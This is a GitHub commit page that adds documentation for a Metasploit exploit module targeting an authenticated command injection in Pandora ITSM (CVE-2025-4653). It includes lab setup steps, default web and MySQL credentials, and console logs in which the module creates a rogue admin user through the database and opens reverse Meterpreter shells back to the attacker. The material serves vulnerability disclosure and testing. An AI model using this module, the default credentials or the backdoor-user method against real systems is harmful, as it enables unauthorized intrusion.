Skip to content

Commit 9caa2be

Browse files
msutovsky-r7msutovsky-r7
authored
Land #20399, adds module for Pandora ITSM authenticated RCE (CVE-2025-4653)
Pandora ITSM auth RCE [CVE-2025-4653]
2 parents 41698af + 70f2cbe commit 9caa2be

File tree

2 files changed

+455
-0
lines changed

2 files changed

+455
-0
lines changed

‎documentation/modules/exploit/linux/http/pandora_itsm_auth_rce_cve_2025_4653.md

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
## Vulnerable Application
2+
Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
3+
and customer service teams, aligned with ITIL processes.
4+
This module exploits a command injection vulnerability in the `name` backup setting at the
5+
application setup page of Pandora ITSM. This can be triggered by generating a backup with a
6+
malicious payload injected at the `name` parameter.
7+
You need to have admin access at the Pandora ITSM Web application in order to execute this RCE.
8+
This access can be achieved by knowing the admin credentials to access the web application or
9+
leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
10+
the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
11+
Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the
12+
MySQL services are exposed to the outside world.
13+
This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.
14+
15+
The following releases were tested.
16+
17+
**Pandora ITSM Releases:**
18+
* Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97 on Ubuntu 22.04
19+
* Pandora ITSM Enterprise Edition 5.0.105 Build 250129 MR98 on Ubuntu 22.04
20+
21+
## Installation steps to install Pandora ITSM Enterprise Edition on Ubuntu 22.04
22+
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
23+
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
24+
* Register for a free trial [here](https://pandorafms.com/en/itsm/free-trial/).
25+
* Install a plain Ubuntu 22.04 VM image.
26+
* Log in at the Ubuntu VM with root.
27+
* Run `apt update && apt upgrade` to get the latest updates.
28+
* Run the following command `curl -SsL https://pfms.me/deploy-pandora-itsm > deploy-pandora-itsm`.
29+
* Check the file `deploy-pandora-itsm` and find the `install_script` variable that refers to `itsm_deploy_enterprise_ubuntu_2204.sh`.
30+
* `install_script='https://packages.pandorafms.com/projects/deploy/itsm/iBxbqHhtHkOnzp1rINvG/itsm_deploy_enterprise_ubuntu_2204.sh'`
31+
* Use the `url` and download the file with `curl` and store it locally in the file `install.sh`.
32+
* `curl -LSs https://packages.pandorafms.com/projects/deploy/itsm/iBxbqHhtHkOnzp1rINvG/itsm_deploy_enterprise_ubuntu_2204.sh > install.sh`
33+
* Edit `install.sh` with your favorite editor and change the following line FROM:
34+
* INTEGRIA_PACKAGE_ENT="https://packages.pandorafms.com/c5553382c7268ea9d69dd2f889029162/latest/PandoraITSM_enterprise-latest.tar.gz"
35+
* TO
36+
* INTEGRIA_PACKAGE_ENT="https://packages.pandorafms.com/c5553382c7268ea9d69dd2f889029162/LTS/PandoraITSM_enterprise-lts.tar.gz"
37+
* Run `chmod +x install.sh` and execute the script `./install.sh`.
38+
* After successful installation of Pandora ITSM you can access the application using the `webui` via `http://your_ip/pandoraitsm`.
39+
40+
You are now ready to test the module.
41+
42+
## Verification Steps
43+
- [ ] Start `msfconsole`
44+
- [ ] `use exploit/linux/http/pandora_itsm_auth_rce_cve_2025_4653`
45+
- [ ] `set rhosts <ip-target>`
46+
- [ ] `set rport <port>`
47+
- [ ] `set lhost <attacker-ip>`
48+
- [ ] `set target <0=Unix/Linux Command>`
49+
- [ ] `exploit`
50+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
51+
52+
## Options
53+
54+
### USERNAME
55+
This option is optional and is the username (default: admin) to authenticate with the Pandora ITSM application.
56+
57+
### PASSWORD
58+
This option is optional and is the password (default: integria) in plain text to authenticate with the Pandora ITSM application.
59+
60+
### DB_USER
61+
This option is required and is the username (default: pandoraitsm) to authenticate with the Pandora ITSM MySQL database.
62+
63+
### DB_PASSWORD
64+
This option is required and is the password (default: P4ndor4.itsm) in plain text to authenticate with the Pandora ITSM MySQL database.
65+
66+
### DB_PORT
67+
This option is required and is the MySQL database port (default: 3306) to connect to the database.
68+
69+
## Scenarios
70+
### Pandora ITSM 5.0.104 on Ubuntu 22.04 - Unix/Linux Command target
71+
Attack scenario: use the default admin credentials (admin:integria) of the Pandora ITSM application
72+
to gain the privileges for the RCE.
73+
```msf
74+
msf6 exploit(linux/http/pandora_itsm_auth_rce_cve_2025_4653) > rexploit
75+
[*] Reloading module...
76+
[*] Started reverse TCP handler on 192.168.201.10:4444
77+
[*] Running automatic check ("set AutoCheck false" to disable)
78+
[+] The target appears to be vulnerable. Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97
79+
[*] Trying to log in with admin credentials admin:integria at the Pandora ITSM Web application.
80+
[*] Succesfully authenticated at the Pandora ITSM Web application.
81+
[*] Saving admin credentials at the msf database.
82+
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
83+
[*] Sending stage (3090404 bytes) to 192.168.201.6
84+
[*] Meterpreter session 45 opened (192.168.201.10:4444 -> 192.168.201.6:37374) at 2025-07-19 10:21:00 +0000
85+
86+
meterpreter > getuid
87+
Server username: www-data
88+
meterpreter > sysinfo
89+
Computer : 192.168.201.6
90+
OS : Ubuntu 22.04 (Linux 5.15.0-144-generic)
91+
Architecture : x64
92+
BuildTuple : x86_64-linux-musl
93+
Meterpreter : x64/linux
94+
meterpreter > pwd
95+
/var/www/html/pandoraitsm
96+
meterpreter >
97+
```
98+
### Pandora ITSM 5.0.104 on Ubuntu 22.04 - Unix/Linux Command target
99+
Attack scenario: use the default database credentials (pandoraitsm:P4ndor4.itsm) to create an admin user in the application
100+
to gain the privileges for the RCE.
101+
```msf
102+
msf6 exploit(linux/http/pandora_itsm_auth_rce_cve_2025_4653) > rexploit
103+
[*] Reloading module...
104+
[*] Started reverse TCP handler on 192.168.201.10:4444
105+
[*] Running automatic check ("set AutoCheck false" to disable)
106+
[+] The target appears to be vulnerable. Pandora ITSM Enterprise Edition 5.0.104 Build 240802 MR97
107+
[*] Trying to log in with admin credentials admin:xxx at the Pandora ITSM Web application.
108+
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
109+
[*] Creating new admin user with credentials hhmxr:YGMWzFjE9R for access at the Pandora ITSM Web application.
110+
[*] Trying to log in with new admin credentials hhmxr:YGMWzFjE9R at the Pandora ITSM Web application.
111+
[*] Succesfully authenticated at the Pandora ITSM Web application.
112+
[*] Saving admin credentials at the msf database.
113+
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
114+
[*] Sending stage (3090404 bytes) to 192.168.201.6
115+
[*] Meterpreter session 46 opened (192.168.201.10:4444 -> 192.168.201.6:38870) at 2025-07-19 10:22:43 +0000
116+
117+
meterpreter > getuid
118+
Server username: www-data
119+
meterpreter > sysinfo
120+
Computer : 192.168.201.6
121+
OS : Ubuntu 22.04 (Linux 5.15.0-144-generic)
122+
Architecture : x64
123+
BuildTuple : x86_64-linux-musl
124+
Meterpreter : x64/linux
125+
meterpreter > pwd
126+
/var/www/html/pandoraitsm
127+
meterpreter >
128+
```
129+
130+
## Limitations
131+
None.

0 commit comments

Comments
 (0)